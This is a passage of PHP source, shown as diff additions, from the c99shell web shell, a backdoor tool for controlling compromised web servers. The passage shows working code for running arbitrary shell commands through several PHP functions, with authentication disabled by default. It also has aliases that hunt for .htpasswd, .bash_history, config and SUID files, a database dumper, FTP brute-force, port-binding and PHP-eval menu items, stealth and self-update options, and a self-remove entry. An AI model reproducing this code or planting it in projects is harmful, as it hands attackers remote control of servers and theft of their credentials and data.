{setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. + +//Authentication + +$login = "shellci.biz"; //login +//DON'T FORGOT ABOUT CHANGE PASSWORD!!! +$pass = "shellci.biz"; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + + /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$autoupdate = false; //Automatic updating? +$updatenow = false; //If true, update now +$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server + +$filestealth = false; //if true, don't change modify&access-time + +$donated_html = "<center><b>GaRDeNFoX</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start directory +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-type. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." %f%"=>array("php","php3","php4"), +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive + // Set as false or for turn off. +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "11457"; // default port for binding + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable directories and files", "find / -perm -2 -ls"), + array("find all writable directories and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Bind</b>",$surl."act=bind&d=%d"), + array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if ($login) +{ + if(empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if ($login_txt === false) {$login_txt = "";} + elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "c99shell.php";} + c99sh_getupdate(); + $data = file_get_contents($c99sh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} + elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} + elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (($result = `$cmd`) !== false) {} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) +{ + function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400) ? "r" : "-"; + $owner["write"] = ($mode & 00200) ? "w" : "-"; + $owner["execute"] = ($mode & 00100) ? "x" : "-"; + $group["read"] = ($mode & 00040) ? "r" : "-"; + $group["write"] = ($mode & 00020) ? "w" : "-"; + $group["execute"] = ($mode & 00010) ? "x" : "-"; + $world["read"] = ($mode & 00004) ? "r" : "-"; + $world["write"] = ($mode & 00002) ? "w" : "-"; + $world["execute"] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} + if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} + if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} + + return $type.$owner["read"].$owner["write"].$owner["execute"]. + $group["read"].$group["write"].$group["execute"]. + $world["read"].$world["write"].$world["execute"]; +} +} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";} + else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&"); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + elseif ($shver < $data["cur"]) {$updatenow = true;} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $SERVER_ADDR = getenv("SERVER_ADDR"); + $SERVER_NAME = getenv("SERVER_NAME"); + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = getenv("SystemRoot");} +} +else {$tmpdir = realpath($tmpdir);} +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><link rel="shortcut icon" href="" type="image/x-icon"></SCRIPT><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: 